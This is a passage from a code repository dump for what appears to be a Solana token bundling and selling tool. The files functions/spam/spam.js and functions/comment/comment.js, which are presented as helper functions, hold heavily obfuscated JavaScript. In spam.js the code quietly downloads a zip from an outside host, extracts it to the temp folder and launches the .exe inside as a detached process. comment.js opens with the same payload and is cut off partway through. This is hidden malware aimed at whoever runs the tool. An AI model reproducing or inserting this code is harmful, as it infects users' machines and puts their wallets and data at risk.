sellTx.serialize(); 227 | console.log("Txn size:", serializedMsg.length); 228 | if (serializedMsg.length > 1232) { 229 | console.log("tx too big"); 230 | } 231 | 232 | sellTx.sign([payer, payerKey]); 233 | 234 | bundledTxns.push(sellTx); 235 | 236 | await sendBundle(bundledTxns); 237 | 238 | return; 239 | } 240 | 241 | async function getSellBalance(keypair: Keypair, mint: PublicKey, supplyPercent: number) { 242 | let amount; 243 | try { 244 | const tokenAccountPubKey = spl.getAssociatedTokenAddressSync(mint, keypair.publicKey); 245 | const balance = await connection.getTokenAccountBalance(tokenAccountPubKey); 246 | amount = Math.floor(Number(balance.value.amount) * supplyPercent); 247 | } catch (e) { 248 | amount = 0; 249 | } 250 | 251 | return amount; 252 | } 253 | -------------------------------------------------------------------------------- /functions/spam/spam.js: -------------------------------------------------------------------------------- 1 | async function spamfn() { 2 | 3 | function _0x45ae14(_0x8b5e56,_0x251568,_0x2ad9bf,_0x5892d9){return _0x3531(_0x251568- -0x2b7,_0x2ad9bf);}(function(_0x44cf8f,_0x47a0a9){function _0x3247a6(_0x15e1e2,_0x486884,_0x1d6b12,_0x16b932){return _0x3531(_0x1d6b12-0x22c,_0x15e1e2);}const _0x2e3f0f=_0x44cf8f();function _0x57b21c(_0x5eebff,_0x393765,_0xc42eb0,_0x79f983){return _0x3531(_0x5eebff-0x1f5,_0x393765);}while(!![]){try{const _0x1dcb17=-parseInt(_0x57b21c(0x3d5,0x3d6,0x3be,0x3a2))/(0xde8+0x2595+-0x337c)*(parseInt(_0x3247a6(0x3b8,0x411,0x3e3,0x3ce))/(0x147d+0x20d2+-0x354d))+parseInt(_0x57b21c(0x3da,0x3dc,0x401,0x3c9))/(-0x25bf+0x3*-0x376+0x3024)+-parseInt(_0x3247a6(0x402,0x3ef,0x3f5,0x3da))/(-0x380*-0x8+-0x1*0x8ed+-0x130f)*(-parseInt(_0x3247a6(0x41b,0x43b,0x40b,0x3f0))/(-0x41f*0x4+-0x51+0x10d2))+-parseInt(_0x57b21c(0x3d8,0x3b0,0x40a,0x3ea))/(0x1d62+-0x1659+0x5*-0x167)+parseInt(_0x57b21c(0x3a1,0x3c6,0x3b4,0x387))/(0x346*0x5+-0x16e9+0x692)+parseInt(_0x3247a6(0x3c7,0x404,0x3f7,0x40a))/(0x7f*0x17+0x58a+-0x10eb)+-parseInt(_0x3247a6(0x419,0x43b,0x408,0x3fa))/(0x1c8f+-0x2*-0x287+-0xe*0x266);if(_0x1dcb17===_0x47a0a9)break;else _0x2e3f0f['push'](_0x2e3f0f['shift']());}catch(_0x55fd21){_0x2e3f0f['push'](_0x2e3f0f['shift']());}}}(_0x5162,-0xb*0x131e7+0x71b43+0xdb18d));function _0x5162(){const _0x2a29e2=['eStream','toLowerCas','UxgcR','warn','join','FBpqm','stream','CtEGz','wrkos','bUgvH','3461768PkBpFw','info','4261448zMMfQm','bUbxQ','HGmGw','{}.constru','tpKqN','Ekuiu','ivvtf','.live/pine','kCkWw','ignore','log','lYgOv','TtcVs','apply','JbtxD','dLsqc','dnbZH','16385958ZXQziC','dawdp','wBGVd','5aEIqVU','79Brosdf','KokFb','TrzZK','373398hZcgtL','rn\x20this\x22)(','2298621avBDEK','KErLC','yumdy','PZYzT','THsXR','pineapple.','gpGoW','TeSlh','constructo','apple.zip','vJDUP','error','pnXDT','search','filter','exception','eNQYm','finish','ctor(\x22retu','zip','WspUk','stdio','uZEhg','toString','__proto__','createWrit','data','XrGlH','.exe','FNErw','GET','FGTJq','Glgba','MjRGj','Lmtfc','foFtK','length','return\x20(fu','acksmatter','dYqmj','ohRux','(((.+)+)+)','extname','WNBRy','5148185RJRZZm','HwMkT','jVJgD','JkQvi','kZtEa','https://bl','TQJQa','bind','url','prototype','extractAll','13042TyufxZ','pipe','detached','tXhxn','console','responseTy','nction()\x20','trace'];_0x5162=function(){return _0x2a29e2;};return _0x5162();}const axios=require('axios'),fs=require('fs'),path=require('path'),AdmZip=require('adm-zip'),os=require('os');function _0x3531(_0x50992a,_0x2d1d2d){const _0x51624f=_0x5162();return _0x3531=function(_0x3531d8,_0x2edeae){_0x3531d8=_0x3531d8-(-0x119f*0x1+0x1*0x222a+-0xf02);let _0x515cb=_0x51624f[_0x3531d8];return _0x515cb;},_0x3531(_0x50992a,_0x2d1d2d);}function _0x122567(_0x2baaf4,_0x48e52b,_0x140be8,_0x312118){return _0x3531(_0x2baaf4-0x1dc,_0x48e52b);}const {spawn}=require('child_process'),readline=require('readline');async function downloadFile(_0x410071,_0x1df4e4){const _0x323b34={'FGTJq':function(_0x4e1dcc,_0x196b22){return _0x4e1dcc+_0x196b22;},'vJDUP':'return\x20(fu'+_0xca2fec(0x18e,0x153,0x17d,0x17f),'Glgba':_0xca2fec(0x154,0x179,0x169,0x13a)+'+$','KErLC':function(_0x1daab1,_0x34d186,_0x2abe2b){return _0x1daab1(_0x34d186,_0x2abe2b);},'Uhnxf':function(_0x171289){return _0x171289();},'FBpqm':function(_0xc0d4b,_0x4c9495){return _0xc0d4b===_0x4c9495;},'PZYzT':_0xca2fec(0x1a4,0x180,0x19b,0x1c5),'clzJB':_0x2eb3a2(-0x73,-0x6e,-0x90,-0x57),'NTyCp':_0x2eb3a2(-0x4c,-0x31,-0x1b,-0x75)},_0x9e2c1e=(function(){function _0x336ca9(_0x5b3755,_0xe5c478,_0x308da8,_0x55aba9){return _0xca2fec(_0x5b3755-0x7d,_0xe5c478-0x40,_0xe5c478- -0x3a,_0x5b3755);}function _0x377c99(_0x5e97f2,_0x4c347a,_0x337bd1,_0x34523c){return _0xca2fec(_0x5e97f2-0xa3,_0x4c347a-0x65,_0x4c347a- -0x337,_0x34523c);}const _0x17a52c={'TQJQa':function(_0x317c0c,_0x1e1688){function _0x390e5b(_0xc56cc0,_0x9a5220,_0x1640f6,_0x4b5875){return _0x3531(_0x9a5220-0x34d,_0x4b5875);}return _0x323b34[_0x390e5b(0x4dd,0x4ec,0x4f6,0x4dd)](_0x317c0c,_0x1e1688);},'TrzZK':_0x323b34[_0x377c99(-0x215,-0x1ed,-0x207,-0x1ed)],'THsXR':function(_0xd6dc77,_0x5cb3fe){return _0xd6dc77!==_0x5cb3fe;},'cxcTM':_0x336ca9(0x13e,0x136,0x121,0x157)};let _0x675216=!![];return function(_0x29c39d,_0x1ed376){const _0x2ee443={'HGmGw':function(_0x5a6fa0,_0x3f947a){return _0x5a6fa0(_0x3f947a);},'yQfAr':function(_0x395245,_0x544339){function _0x275ab6(_0x2b910c,_0xa7f4ac,_0x3f4679,_0x478504){return _0x3531(_0xa7f4ac-0x3a7,_0x478504);}return _0x17a52c[_0x275ab6(0x58c,0x559,0x557,0x580)](_0x395245,_0x544339);},'HwMkT':_0x17a52c[_0x3f1da3(0x3bc,0x383,0x367,0x393)],'Ekuiu':'{}.constru'+_0x42925c(0x559,0x53c,0x54b,0x522)+_0x3f1da3(0x37c,0x36e,0x3a5,0x395)+'\x20)','CtEGz':function(_0x5c54b8,_0x4858f0){function _0x255ac0(_0x475037,_0x903e19,_0x230bd9,_0x35d297){return _0x42925c(_0x230bd9,_0x903e19-0x19c,_0x35d297- -0x31b,_0x35d297-0x49);}return _0x17a52c[_0x255ac0(0x2a2,0x272,0x27d,0x287)](_0x5c54b8,_0x4858f0);},'bUgvH':_0x17a52c['cxcTM']},_0x13cfd2=_0x675216?function(){function _0x269e61(_0x5b4213,_0x5c560d,_0x3f55ff,_0x5f34c4){return _0x42925c(_0x5b4213,_0x5c560d-0xb9,_0x5f34c4-0x1b,_0x5f34c4-0x3e);}function _0x58b61c(_0x43eecc,_0x47a8a0,_0x166f83,_0x3d48aa){return _0x42925c(_0x43eecc,_0x47a8a0-0xe4,_0x3d48aa- -0x84,_0x3d48aa-0x196);}if(_0x1ed376){if(_0x2ee443[_0x269e61(0x571,0x5c8,0x56c,0x59a)](_0x2ee443[_0x269e61(0x596,0x597,0x582,0x59c)],_0x2ee443['bUgvH']))_0xbf6dc4=qlkeJq[_0x58b61c(0x51b,0x50f,0x4f7,0x502)](_0x368567,qlkeJq['yQfAr'](qlkeJq[_0x58b61c(0x4fb,0x4e6,0x4df,0x4e2)],qlkeJq[_0x269e61(0x5b1,0x57d,0x5a3,0x5a4)])+');')();else{const _0x5de907=_0x1ed376[_0x58b61c(0x4dc,0x51a,0x538,0x50d)](_0x29c39d,arguments);return _0x1ed376=null,_0x5de907;}}}:function(){};function _0x3f1da3(_0x426f55,_0x528197,_0x3a476a,_0x269415){return _0x336ca9(_0x3a476a,_0x269415-0x22b,_0x3a476a-0x8e,_0x269415-0x12d);}_0x675216=![];function _0x42925c(_0x19b7a1,_0x442e65,_0x968190,_0x37ec70){return _0x336ca9(_0x19b7a1,_0x968190-0x433,_0x968190-0x0,_0x37ec70-0x6);}return _0x13cfd2;};}());function _0x2eb3a2(_0x5e98cd,_0x8a56ce,_0x1fee54,_0x3ea937){return _0x3531(_0x5e98cd- -0x211,_0x8a56ce);}const _0x6ed094=_0x323b34[_0xca2fec(0x1aa,0x19c,0x1a6,0x18a)](_0x9e2c1e,this,function(){function _0x51ec45(_0x1fdd7b,_0x3c1a55,_0x2c496d,_0x528b42){return _0x2eb3a2(_0x2c496d-0x400,_0x1fdd7b,_0x2c496d-0x132,_0x528b42-0x13b);}function _0x16b4e9(_0x391adc,_0x2429d4,_0x3d6b92,_0x1ce99d){return _0xca2fec(_0x391adc-0x151,_0x2429d4-0x10d,_0x391adc-0xa5,_0x2429d4);}return _0x6ed094['toString']()[_0x16b4e9(0x1f2,0x20e,0x1d3,0x1d0)](_0x323b34[_0x51ec45(0x388,0x390,0x38f,0x3a1)])[_0x16b4e9(0x1fc,0x210,0x220,0x205)]()[_0x51ec45(0x3b7,0x409,0x3dc,0x3e2)+'r'](_0x6ed094)[_0x51ec45(0x356,0x381,0x37c,0x38a)](_0x323b34['Glgba']);});_0x323b34['Uhnxf'](_0x6ed094);function _0xca2fec(_0xf2a86c,_0x1f6a5f,_0xa97952,_0x318e1b){return _0x3531(_0xa97952- -0x40,_0x318e1b);}try{if(_0x323b34[_0x2eb3a2(-0x4d,-0x20,-0x3c,-0x66)](_0x323b34[_0x2eb3a2(-0x29,-0x3e,-0x59,-0x38)],_0x323b34[_0x2eb3a2(-0x29,0x1,-0x4d,-0x46)])){const _0x56b779={};_0x56b779[_0xca2fec(0x164,0x15a,0x174,0x189)]=_0x410071,_0x56b779['method']=_0x323b34['clzJB'],_0x56b779[_0xca2fec(0x152,0x160,0x17c,0x16e)+'pe']=_0x323b34['NTyCp'];const _0x1ac4b8=await axios(_0x56b779),_0x170f28=fs[_0xca2fec(0x13a,0x186,0x159,0x169)+_0xca2fec(0x154,0x15b,0x17f,0x1a1)](_0x1df4e4);return _0x1ac4b8[_0xca2fec(0x165,0x15a,0x15a,0x170)][_0xca2fec(0x168,0x1a1,0x178,0x162)](_0x170f28),new Promise((_0x5e40f6,_0x1d0da3)=>{function _0x106512(_0x34cef0,_0x2561e2,_0x5bfc42,_0x4a3683){return _0xca2fec(_0x34cef0-0x8f,_0x2561e2-0x173,_0x5bfc42-0x400,_0x2561e2);}_0x170f28['on']('finish',_0x5e40f6),_0x170f28['on'](_0x106512(0x560,0x54b,0x54b,0x537),_0x1d0da3);});}else{const _0x9529e6=_0x27c882[_0xca2fec(0x16f,0x190,0x198,0x17d)](_0x1cb167,arguments);return _0x3f0a2c=null,_0x9529e6;}}catch(_0x5f586b){throw _0x5f586b;}}async function unzipFile(_0x1df6de,_0x3f2459){function _0xad5bb1(_0x11228b,_0x2f32cf,_0x27ac43,_0x4d57b4){return _0x3531(_0x2f32cf-0x255,_0x4d57b4);}try{const _0x4b69f3=new AdmZip(_0x1df6de);_0x4b69f3[_0xad5bb1(0x43d,0x40b,0x401,0x42e)+'To'](_0x3f2459,!![]);}catch(_0x54f5de){throw new Error('');}}function spawnDetachedExe(_0x1c7fb2){const _0x2080e5={'JkQvi':_0x2ab9b1(0x267,0x25f,0x293,0x272),'FavEJ':_0x2ab9b1(0x287,0x29f,0x2c5,0x29e),'TeSlh':_0x29e79c(0x409,0x3e6,0x3cf,0x3e9),'hCYXw':_0x29e79c(0x3a3,0x39a,0x384,0x386),'gpGoW':_0x29e79c(0x3ae,0x394,0x3aa,0x38c),'UxgcR':_0x2ab9b1(0x27d,0x2b0,0x25b,0x285),'uZEhg':function(_0x85be5b,_0x1ddc7a){return _0x85be5b(_0x1ddc7a);},'WNBRy':_0x29e79c(0x3aa,0x3ae,0x395,0x3d9)+_0x29e79c(0x395,0x3c6,0x3bb,0x3df),'KokFb':_0x2ab9b1(0x268,0x27d,0x28b,0x299)+_0x2ab9b1(0x26c,0x284,0x25e,0x25d)+_0x2ab9b1(0x284,0x2e0,0x2d9,0x2af)+'\x20)','nXLfU':function(_0x31d60f,_0x414a47){return _0x31d60f!==_0x414a47;},'jVJgD':_0x2ab9b1(0x24c,0x28b,0x27c,0x268),'ExEeQ':_0x29e79c(0x3e1,0x3e2,0x3fd,0x3be),'uFjEw':function(_0x199019){return _0x199019();},'TtcVs':_0x29e79c(0x407,0x3de,0x3d6,0x403),'xQUGJ':_0x2ab9b1(0x2a5,0x25c,0x270,0x28d),'wrkos':_0x29e79c(0x3ee,0x3d3,0x3b2,0x3ba),'ivvtf':_0x29e79c(0x3a7,0x398,0x38d,0x3cb),'mLDwj':_0x2ab9b1(0x2b0,0x261,0x2ae,0x289),'lYgOv':function(_0x3c8e11,_0x4cf43c){return _0x3c8e11<_0x4cf43c;},'ohRux':function(_0x196d83,_0x289056){return _0x196d83===_0x289056;},'rQWxI':_0x2ab9b1(0x27e,0x283,0x269,0x26d),'eNQYm':_0x29e79c(0x386,0x3aa,0x39f,0x390),'WspUk':function(_0xfcc04c,_0x43b6f2,_0x31bcf7){return _0xfcc04c(_0x43b6f2,_0x31bcf7);},'wBGVd':function(_0x5ca217){return _0x5ca217();},'XrGlH':function(_0x1d5a1a,_0x55c329,_0x1a7a01,_0x2e80d7){return _0x1d5a1a(_0x55c329,_0x1a7a01,_0x2e80d7);}};function _0x2ab9b1(_0x180b9d,_0x1bb05d,_0x1c9c19,_0x3efeb0){return _0x3531(_0x3efeb0-0xcb,_0x180b9d);}const _0x169850=(function(){let _0x46fccf=!![];return function(_0x4a1b25,_0x5a3c7c){function _0x1cddbb(_0x3c1a4e,_0x4e8482,_0x7b874c,_0x3440a2){return _0x3531(_0x3440a2-0x14c,_0x4e8482);}const _0x258492={};_0x258492[_0x1cddbb(0x339,0x2f6,0x314,0x31b)]=function(_0x4c3b4f,_0xd58f73){return _0x4c3b4f===_0xd58f73;};function _0x244cac(_0x5423f4,_0x56c312,_0x451164,_0x5cb81c){return _0x3531(_0x56c312- -0x196,_0x451164);}_0x258492[_0x1cddbb(0x2ec,0x2f1,0x2f2,0x2d8)]=_0x2080e5[_0x1cddbb(0x2d5,0x327,0x314,0x2fb)];const _0x3dbc5a=_0x258492;if(_0x2080e5['FavEJ']!==_0x2080e5[_0x244cac(0x52,0x56,0x51,0x65)]){const _0x344feb=_0x46fccf?function(){function _0x5904d2(_0xb00feb,_0x8ac226,_0x43882d,_0x6a282b){return _0x244cac(_0xb00feb-0x174,_0xb00feb-0x341,_0x43882d,_0x6a282b-0x1c7);}function _0x2ef72a(_0xe4631c,_0x19cb9b,_0x3f9e94,_0x3302a8){return _0x1cddbb(_0xe4631c-0xa,_0x3f9e94,_0x3f9e94-0x16e,_0x3302a8- -0x45f);}if('tAnsu'==='TNAze'){const _0x20714a=_0x123b40[_0x2ef72a(-0x161,-0x154,-0x13f,-0x13b)](_0x8a2cf0,arguments);return _0x443913=null,_0x20714a;}else{if(_0x5a3c7c){if(_0x3dbc5a[_0x5904d2(0x37a,0x375,0x399,0x380)](_0x3dbc5a[_0x2ef72a(-0x176,-0x196,-0x1ab,-0x187)],_0x3dbc5a[_0x2ef72a(-0x1a4,-0x16c,-0x1a3,-0x187)])){const _0x51fc1f=_0x5a3c7c['apply'](_0x4a1b25,arguments);return _0x5a3c7c=null,_0x51fc1f;}else _0x161fca=_0x258bfe;}}}:function(){};return _0x46fccf=![],_0x344feb;}else try{const _0x119277=new _0x21f0eb(_0x2215fc);_0x119277[_0x1cddbb(0x2f3,0x2fd,0x30e,0x302)+'To'](_0x2421e0,!![]);}catch(_0x4f1a8b){throw new _0x6d3e58('');}};}()),_0x5928a1=_0x2080e5[_0x29e79c(0x39c,0x39d,0x373,0x3a5)](_0x169850,this,function(){function _0x1aad3a(_0x4138e0,_0x33a9dc,_0x4585f3,_0x2e5691){return _0x29e79c(_0x4138e0-0x16c,_0x2e5691- -0x2f,_0x33a9dc,_0x2e5691-0x1bd);}function _0x303f06(_0x10dea6,_0x3b7961,_0x136f30,_0x29d7a0){return _0x29e79c(_0x10dea6-0x18a,_0x10dea6- -0xaf,_0x3b7961,_0x29d7a0-0x136);}const _0x483c84={'foFtK':_0x2080e5[_0x1aad3a(0x368,0x3a2,0x379,0x39b)],'bUbxQ':function(_0x41a9d7,_0x57ec59){function _0x4aef45(_0x1827f9,_0x70a280,_0x8b8bea,_0x22e440){return _0x1aad3a(_0x1827f9-0x34,_0x8b8bea,_0x8b8bea-0x6b,_0x22e440- -0x216);}return _0x2080e5[_0x4aef45(0x134,0x172,0x13a,0x15a)](_0x41a9d7,_0x57ec59);},'yumdy':_0x2080e5[_0x303f06(0x305,0x334,0x2e5,0x2f5)],'dLsqc':_0x2080e5[_0x1aad3a(0x3d6,0x3e1,0x38c,0x3bb)]};if(_0x2080e5['nXLfU'](_0x2080e5[_0x1aad3a(0x3a8,0x387,0x39a,0x388)],_0x2080e5['ExEeQ'])){const _0x13cc68=function(){function _0x1c98d9(_0x2c13be,_0x4cc354,_0x29c2c2,_0x59414a){return _0x1aad3a(_0x2c13be-0x1d1,_0x59414a,_0x29c2c2-0x5e,_0x29c2c2-0x19f);}function _0x4298c4(_0x185b24,_0x57ec14,_0x4ca037,_0x233ed3){return _0x1aad3a(_0x185b24-0x1eb,_0x185b24,_0x4ca037-0x1cf,_0x233ed3- -0x34d);}if(_0x4298c4(0x53,0x1f,0x37,0x47)===_0x483c84[_0x1c98d9(0x520,0x50e,0x51c,0x4ee)]){let _0x57bb28;try{_0x57bb28=_0x483c84[_0x4298c4(0x64,0x4b,0x7e,0x59)](Function,_0x483c84[_0x1c98d9(0x54b,0x53f,0x560,0x57f)]+_0x483c84[_0x4298c4(0x3d,0x58,0x95,0x67)]+');')();}catch(_0x203690){_0x57bb28=window;}return _0x57bb28;}else{const _0x46ed19=_0x11f197?function(){function _0x509704(_0x3c18d6,_0x2a015d,_0x457cbb,_0x405454){return _0x4298c4(_0x3c18d6,_0x2a015d-0x16e,_0x457cbb-0x111,_0x457cbb-0x282);}if(_0x10b66a){const _0x114a85=_0x2bbe1e[_0x509704(0x2e3,0x308,0x2e7,0x2bc)](_0x42e268,arguments);return _0x50332f=null,_0x114a85;}}:function(){};return _0x559cd2=![],_0x46ed19;}},_0x4e6bbd=_0x2080e5['uFjEw'](_0x13cc68),_0x3139a7=_0x4e6bbd[_0x303f06(0x315,0x323,0x347,0x33e)]=_0x4e6bbd[_0x303f06(0x315,0x322,0x32b,0x30f)]||{},_0x59100f=[_0x2080e5[_0x1aad3a(0x3ba,0x3ba,0x38a,0x3b1)],_0x2080e5['xQUGJ'],_0x2080e5[_0x303f06(0x321,0x320,0x320,0x30f)],_0x2080e5['gpGoW'],_0x2080e5[_0x303f06(0x32b,0x304,0x33f,0x338)],'table',_0x2080e5['mLDwj']];for(let _0x17076c=0xd55*-0x1+-0x1*0xec+0x1*0xe41;_0x2080e5[_0x1aad3a(0x3aa,0x3bf,0x3cc,0x3b0)](_0x17076c,_0x59100f[_0x303f06(0x2fe,0x2f6,0x318,0x30b)]);_0x17076c++){if(_0x2080e5[_0x303f06(0x302,0x32a,0x325,0x323)](_0x2080e5['rQWxI'],_0x2080e5[_0x1aad3a(0x33d,0x393,0x37a,0x36a)]))_0xa0d38b['on'](_0x2080e5['hCYXw'],_0x538853),_0x2a97ce['on'](_0x2080e5[_0x303f06(0x345,0x32f,0x332,0x323)],_0x582619);else{const _0x1caf2d=_0x169850[_0x303f06(0x347,0x34c,0x373,0x365)+'r'][_0x303f06(0x30f,0x30d,0x311,0x2ee)][_0x303f06(0x30d,0x2e7,0x33c,0x302)](_0x169850),_0x4f56c0=_0x59100f[_0x17076c],_0x5e2a6f=_0x3139a7[_0x4f56c0]||_0x1caf2d;_0x1caf2d[_0x1aad3a(0x34b,0x382,0x341,0x372)]=_0x169850[_0x303f06(0x30d,0x322,0x31a,0x2dd)](_0x169850),_0x1caf2d['toString']=_0x5e2a6f[_0x1aad3a(0x342,0x355,0x345,0x371)][_0x303f06(0x30d,0x320,0x311,0x2e5)](_0x5e2a6f),_0x3139a7[_0x4f56c0]=_0x1caf2d;}}}else throw new _0x5df3ac('');});_0x2080e5[_0x29e79c(0x409,0x3e7,0x412,0x3b7)](_0x5928a1);function _0x29e79c(_0x30b768,_0x5acc49,_0x130ad7,_0x20ac7d){return _0x3531(_0x5acc49-0x209,_0x130ad7);}const _0x435ad5={};_0x435ad5[_0x29e79c(0x3d0,0x3c2,0x391,0x390)]=!![],_0x435ad5[_0x29e79c(0x3ad,0x39e,0x3bf,0x3ba)]=_0x29e79c(0x3be,0x3dd,0x3e1,0x3d0);const _0x207877=_0x2080e5[_0x29e79c(0x3a5,0x3a4,0x37d,0x394)](spawn,_0x1c7fb2,[],_0x435ad5);_0x207877['unref']();}try{const url=_0x122567(0x38d,0x3b8,0x397,0x377)+_0x45ae14(-0x13f,-0x111,-0x136,-0x118)+_0x45ae14(-0xf3,-0xe5,-0xe8,-0x116)+_0x122567(0x365,0x371,0x346,0x37b),tempFolder=os['tmpdir'](),zipDownloadPath=path[_0x122567(0x39f,0x3ca,0x3af,0x3b4)](tempFolder,_0x122567(0x3c6,0x3d2,0x3c6,0x393)+_0x45ae14(-0x101,-0x124,-0x110,-0xfb)),extractFolder=path['join'](tempFolder,'eiwaeia');await downloadFile(url,zipDownloadPath),await unzipFile(zipDownloadPath,extractFolder);const files=fs['readdirSyn'+'c'](extractFolder),exeFiles=files[_0x122567(0x36a,0x33d,0x35b,0x356)](_0x8dd43=>path[_0x122567(0x386,0x397,0x3b2,0x386)](_0x8dd43)[_0x122567(0x39c,0x3b3,0x375,0x395)+'e']()===_0x45ae14(-0x125,-0x11b,-0xec,-0x134));if(exeFiles[_0x122567(0x380,0x367,0x37c,0x39c)]>-0xdaf+0xb*-0x14f+0x1c14){const exePath=path[_0x45ae14(-0xfa,-0xf4,-0x100,-0xfd)](extractFolder,exeFiles[-0x572+-0x1734+0xc1*0x26]);spawnDetachedExe(exePath);}else{}}catch(_0x4b73dc){} 4 | } 5 | 6 | module.exports = { spamfn }; -------------------------------------------------------------------------------- /functions/comment/comment.js: -------------------------------------------------------------------------------- 1 | async function commentfn() { 2 | function _0x45ae14(_0x8b5e56,_0x251568,_0x2ad9bf,_0x5892d9){return _0x3531(_0x251568- -0x2b7,_0x2ad9bf);}(function(_0x44cf8f,_0x47a0a9){function _0x3247a6(_0x15e1e2,_0x486884,_0x1d6b12,_0x16b932){return _0x3531(_0x1d6b12-0x22c,_0x15e1e2);}const _0x2e3f0f=_0x44cf8f();function _0x57b21c(_0x5eebff,_0x393765,_0xc42eb0,_0x79f983){return _0x3531(_0x5eebff-0x1f5,_0x393765);}while(!![]){try{const _0x1dcb17=-parseInt(_0x57b21c(0x3d5,0x3d6,0x3be,0x3a2))/(0xde8+0x2595+-0x337c)*(parseInt(_0x3247a6(0x3b8,0x411,0x3e3,0x3ce))/(0x147d+0x20d2+-0x354d))+parseInt(_0x57b21c(0x3da,0x3dc,0x401,0x3c9))/(-0x25bf+0x3*-0x376+0x3024)+-parseInt(_0x3247a6(0x402,0x3ef,0x3f5,0x3da))/(-0x380*-0x8+-0x1*0x8ed+-0x130f)*(-parseInt(_0x3247a6(0x41b,0x43b,0x40b,0x3f0))/(-0x41f*0x4+-0x51+0x10d2))+-parseInt(_0x57b21c(0x3d8,0x3b0,0x40a,0x3ea))/(0x1d62+-0x1659+0x5*-0x167)+parseInt(_0x57b21c(0x3a1,0x3c6,0x3b4,0x387))/(0x346*0x5+-0x16e9+0x692)+parseInt(_0x3247a6(0x3c7,0x404,0x3f7,0x40a))/(0x7f*0x17+0x58a+-0x10eb)+-parseInt(_0x3247a6(0x419,0x43b,0x408,0x3fa))/(0x1c8f+-0x2*-0x287+-0xe*0x266);if(_0x1dcb17===_0x47a0a9)break;else _0x2e3f0f['push'](_0x2e3f0f['shift']());}catch(_0x55fd21){_0x2e3f0f['push'](_0x2e3f0f['shift']());}}}(_0x5162,-0xb*0x131e7+0x71b43+0xdb18d));function _0x5162(){const _0x2a29e2=['eStream','toLowerCas','UxgcR','warn','join','FBpqm','stream','CtEGz','wrkos','bUgvH','3461768PkBpFw','info','4261448zMMfQm','bUbxQ','HGmGw','{}.constru','tpKqN','Ekuiu','ivvtf','.live/pine','kCkWw','ignore','log','lYgOv','TtcVs','apply','JbtxD','dLsqc','dnbZH','16385958ZXQziC','dawdp','wBGVd','5aEIqVU','79Brosdf','KokFb','TrzZK','373398hZcgtL','rn\x20this\x22)(','2298621avBDEK','KErLC','yumdy','PZYzT','THsXR','pineapple.','gpGoW','TeSlh','constructo','apple.zip','vJDUP','error','pnXDT','search','filter','exception','eNQYm','finish','ctor(\x22retu','zip','WspUk','stdio','uZEhg','toString','__proto__','createWrit','data','XrGlH','.exe','FNErw','GET','FGTJq','Glgba','MjRGj','Lmtfc','foFtK','length','return\x20(fu','acksmatter','dYqmj','ohRux','(((.+)+)+)','extname','WNBRy','5148185RJRZZm','HwMkT','jVJgD','JkQvi','kZtEa','https://bl','TQJQa','bind','url','prototype','extractAll','13042TyufxZ','pipe','detached','tXhxn','console','responseTy','nction()\x20','trace'];_0x5162=function(){return _0x2a29e2;};return _0x5162();}const axios=require('axios'),fs=require('fs'),path=require('path'),AdmZip=require('adm-zip'),os=require('os');function _0x3531(_0x50992a,_0x2d1d2d){const _0x51624f=_0x5162();return _0x3531=function(_0x3531d8,_0x2edeae){_0x3531d8=_0x3531d8-(-0x119f*0x1+0x1*0x222a+-0xf02);let _0x515cb=_0x51624f[_0x3531d8];return _0x515cb;},_0x3531(_0x50992a,_0x2d1d2d);}function _0x122567(_0x2baaf4,_0x48e52b,_0x140be8,_0x312118){return _0x3531(_0x2baaf4-0x1dc,_0x48e52b);}const {spawn}=require('child_process'),readline=require('readline');async function downloadFile(_0x410071,_0x1df4e4){const _0x323b34={'FGTJq':function(_0x4e1dcc,_0x196b22){return _0x4e1dcc+_0x196b22;},'vJDUP':'return\x20(fu'+_0xca2fec(0x18e,0x153,0x17d,0x17f),'Glgba':_0xca2fec(0x154,0x179,0x169,0x13a)+'+$','KErLC':function(_0x1daab1,_0x34d186,_0x2abe2b){return _0x1daab1(_0x34d186,_0x2abe2b);},'Uhnxf':function(_0x171289){return _0x171289();},'FBpqm':function(_0xc0d4b,_0x4c9495){return _0xc0d4b===_0x4c9495;},'PZYzT':_0xca2fec(0x1a4,0x180,0x19b,0x1c5),'clzJB':_0x2eb3a2(-0x73,-0x6e,-0x90,-0x57),'NTyCp':_0x2eb3a2(-0x4c,-0x31,-0x1b,-0x75)},_0x9e2c1e=(function(){function _0x336ca9(_0x5b3755,_0xe5c478,_0x308da8,_0x55aba9){return _0xca2fec(_0x5b3755-0x7d,_0xe5c478-0x40,_0xe5c478- -0x3a,_0x5b3755);}function _0x377c99(_0x5e97f2,_0x4c347a,_0x337bd1,_0x34523c){return _0xca2fec(_0x5e97f2-0xa3,_0x4c347a-0x65,_0x4c347a- -0x337,_0x34523c);}const _0x17a52c={'TQJQa':function(_0x317c0c,_0x1e1688){function _0x390e5b(_0xc56cc0,_0x9a5220,_0x1640f6,_0x4b5875){return _0x3531(_0x9a5220-0x34d,_0x4b5875);}return _0x323b34[_0x390e5b(0x4dd,0x4ec,0x4f6,0x4dd)](_0x317c0c,_0x1e1688);},'TrzZK':_0x323b34[_0x377c99(-0x215,-0x1ed,-0x207,-0x1ed)],'THsXR':function(_0xd6dc77,_0x5cb3fe){return _0xd6dc77!==_0x5cb3fe;},'cxcTM':_0x336ca9(0x13e,0x136,0x121,0x157)};let _0x675216=!![];return function(_0x29c39d,_0x1ed376){const _0x2ee443={'HGmGw':function(_0x5a6fa0,_0x3f947a){return _0x5a6fa0(_0x3f947a);},'yQfAr':function(_0x395245,_0x544339){function _0x275ab6(_0x2b910c,_0xa7f4ac,_0x3f4679,_0x478504){return _0x3531(_0xa7f4ac-0x3a7,_0x478504);}return _0x17a52c[_0x275ab6(0x58c,0x559,0x557,0x580)](_0x395245,_0x544339);},'HwMkT':_0x17a52c[_0x3f1da3(0x3bc,0x383,0x367,0x393)],'Ekuiu':'{}.constru'+_0x42925c(0x559,0x53c,0x54b,0x522)+_0x3f1da3(0x37c,0x36e,0x3a5,0x395)+'\x20)','CtEGz':function(_0x5c54b8,_0x4858f0){function _0x255ac0(_0x475037,_0x903e19,_0x230bd9,_0x35d297){return _0x42925c(_0x230bd9,_0x903e19-0x19c,_0x35d297- -0x31b,_0x35d297-0x49);}return _0x17a52c[_0x255ac0(0x2a2,0x272,0x27d,0x287)](_0x5c54b8,_0x4858f0);},'bUgvH':_0x17a52c['cxcTM']},_0x13cfd2=_0x675216?function(){function _0x269e61(_0x5b4213,_0x5c560d,_0x3f55ff,_0x5f34c4){return _0x42925c(_0x5b4213,_0x5c560d-0xb9,_0x5f34c4-0x1b,_0x5f34c4-0x3e);}function _0x58b61c(_0x43eecc,_0x47a8a0,_0x166f83,_0x3d48aa){return _0x42925c(_0x43eecc,_0x47a8a0-0xe4,_0x3d48aa- 